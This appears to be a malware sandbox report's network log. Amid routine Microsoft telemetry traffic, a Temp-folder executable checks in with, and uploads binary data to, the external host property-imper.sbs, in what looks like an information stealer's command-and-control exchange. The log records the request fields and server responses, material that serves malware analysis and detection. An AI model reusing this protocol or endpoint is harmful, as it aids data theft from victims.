2024-11-23 19:23:42 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-23 19:23:43 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=223719 Date: Sat, 23 Nov 2024 19:23:43 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-23 19:23:43 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49859	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:42 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-23 19:23:42 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=324EE624F64573D4D7CBBD6DF28D3732
2024-11-23 19:23:43 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q49h3n6bf776jk2d01ipb3b1kn; expires=Wed, 19-Mar-2025 13:10:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=igO1AfCiUSCKvIUMLM9L5oH1GR%2Fqyxn8K9wmxeaq0Ceiz6eJ%2Bbm24cxO08l5jmbjTM1fkEqtPUs6RRe%2FgEz3DOeb5UhWUGuo53BcQuUwPSljoA%2FuVPvLG541sjFQLuGj28Mw0G8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e738909c9d7c335-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2146&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=990&delivery_rate=1880231&cwnd=163&unsent_bytes=0&cid=baf81a04ba273403&ts=998&x=0"
2024-11-23 19:23:43 UTC	214	IN	Data Raw: 64 30 0d 0a 79 4c 48 51 32 37 32 56 79 6a 58 69 63 46 32 4b 47 4b 7a 6f 79 66 75 74 2b 31 4a 79 49 53 49 62 36 59 31 75 46 56 4a 51 36 61 2b 54 79 76 4b 75 6e 36 2f 6f 58 5a 59 45 4c 62 42 45 67 37 54 6d 79 70 58 4f 66 45 41 51 46 7a 58 59 76 46 30 37 59 32 61 31 67 4b 66 58 74 6f 65 53 38 61 39 54 7a 42 55 6c 37 7a 71 41 79 71 2b 50 6a 38 46 69 58 67 4e 48 4f 64 4f 38 45 7a 6b 70 63 70 79 4e 38 70 4f 34 72 38 6e 6c 38 47 6e 4e 4c 48 4b 37 49 4a 6e 47 2b 38 71 59 31 57 4e 44 45 67 77 71 33 39 46 42 5a 69 59 31 69 4d 4b 55 6e 71 4b 36 30 2f 47 6c 57 4d 77 56 4a 65 38 36 67 4d 71 76 6a 34 2f 42 59 6c 34 44 52 7a 6e 54 76 52 4e 49 0d 0a Data Ascii: d0yLHQ272VyjXicF2KGKzoyfut+1JyISIb6Y1uFVJQ6a+TyvKun6/oXZYELbBEg7TmypXOfEAQFzXYvF07Y2a1gKfXtoeS8a9TzBUl7zqAyq+Pj8FiXgNHOdO8EzkpcpyN8pO4r8nl8GnNLHK7IJnG+8qY1WNDEgwq39FBZiY1iMKUnqK60/GlWMwVJe86gMqvj4/BYl4DRznTvRNI
2024-11-23 19:23:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:43 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:43 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192343Z-178bfbc474bscnbchC1NYCe7eg000000051g000000009arh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:43 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:43 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:43 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: aaf9eac1-201e-0000-4977-3ba537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192343Z-174c587ffdfldtt2hC1TEBwv9c000000035g00000000e7qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:43 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:43 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:43 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7e238ec3-901e-00ac-3dfe-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192343Z-178bfbc474bv7whqhC1NYC1fg400000004ug00000000ge8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:43 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49864	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:44 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KK7X8O4FRUL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: property-imper.sbs
2024-11-23 19:23:44 UTC	15331	OUT	Data Raw: 2d 2d 4b 4b 37 58 38 4f 34 46 52 55 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4b 4b 37 58 38 4f 34 46 52 55 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 4b 37 58 38 4f 34 46 52 55 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4b 4b 37 58 38 4f 34 46 52 55 4c Data Ascii: --KK7X8O4FRULContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--KK7X8O4FRULContent-Disposition: form-data; name="pid"3--KK7X8O4FRULContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--KK7X8O4FRUL
2024-11-23 19:23:44 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-23 19:23:45 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c6thk15lv35oob78b8q9h9thgg; expires=Wed, 19-Mar-2025 13:10:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fv9MF58PEz05j7OmdsGUBteMmwzIR7%2FWeR2oqIui%2Be1k2PynxQFM9D3q9l6vNzG2mr6HQYk4VeNeYUQX7zM8BJLUDOJG%2FG8mjo2lyeP5FHJ8D3XCR1hSoIqBJNY5eryBrh5SZcE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e738915cd32c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19313&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21358&delivery_rate=1716637&cwnd=181&unsent_bytes=0&cid=7c2d21baccd49c78&ts=1022&x=0"
2024-11-23 19:23:45 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 19:23:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:45 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:45 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192345Z-178bfbc474bv587zhC1NYCny5w00000004q000000000gagu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:45 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:45 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192345Z-178bfbc474bq2pr7hC1NYCkfgg0000000530000000005304 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:45 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:45 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:45 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 731b5b9c-601e-0001-6b71-3cfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192345Z-174c587ffdf8fcgwhC1TEBnn7000000003d000000000stec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:45 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:45 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:45 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192345Z-178bfbc474bfw4gbhC1NYCunf400000004x0000000009g74 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 19:23:46 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:45 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 19:23:46 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:45 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 6d656984-c01e-008d-0d1b-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T192345Z-178bfbc474brk967hC1NYCfu6000000004sg000000003c48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
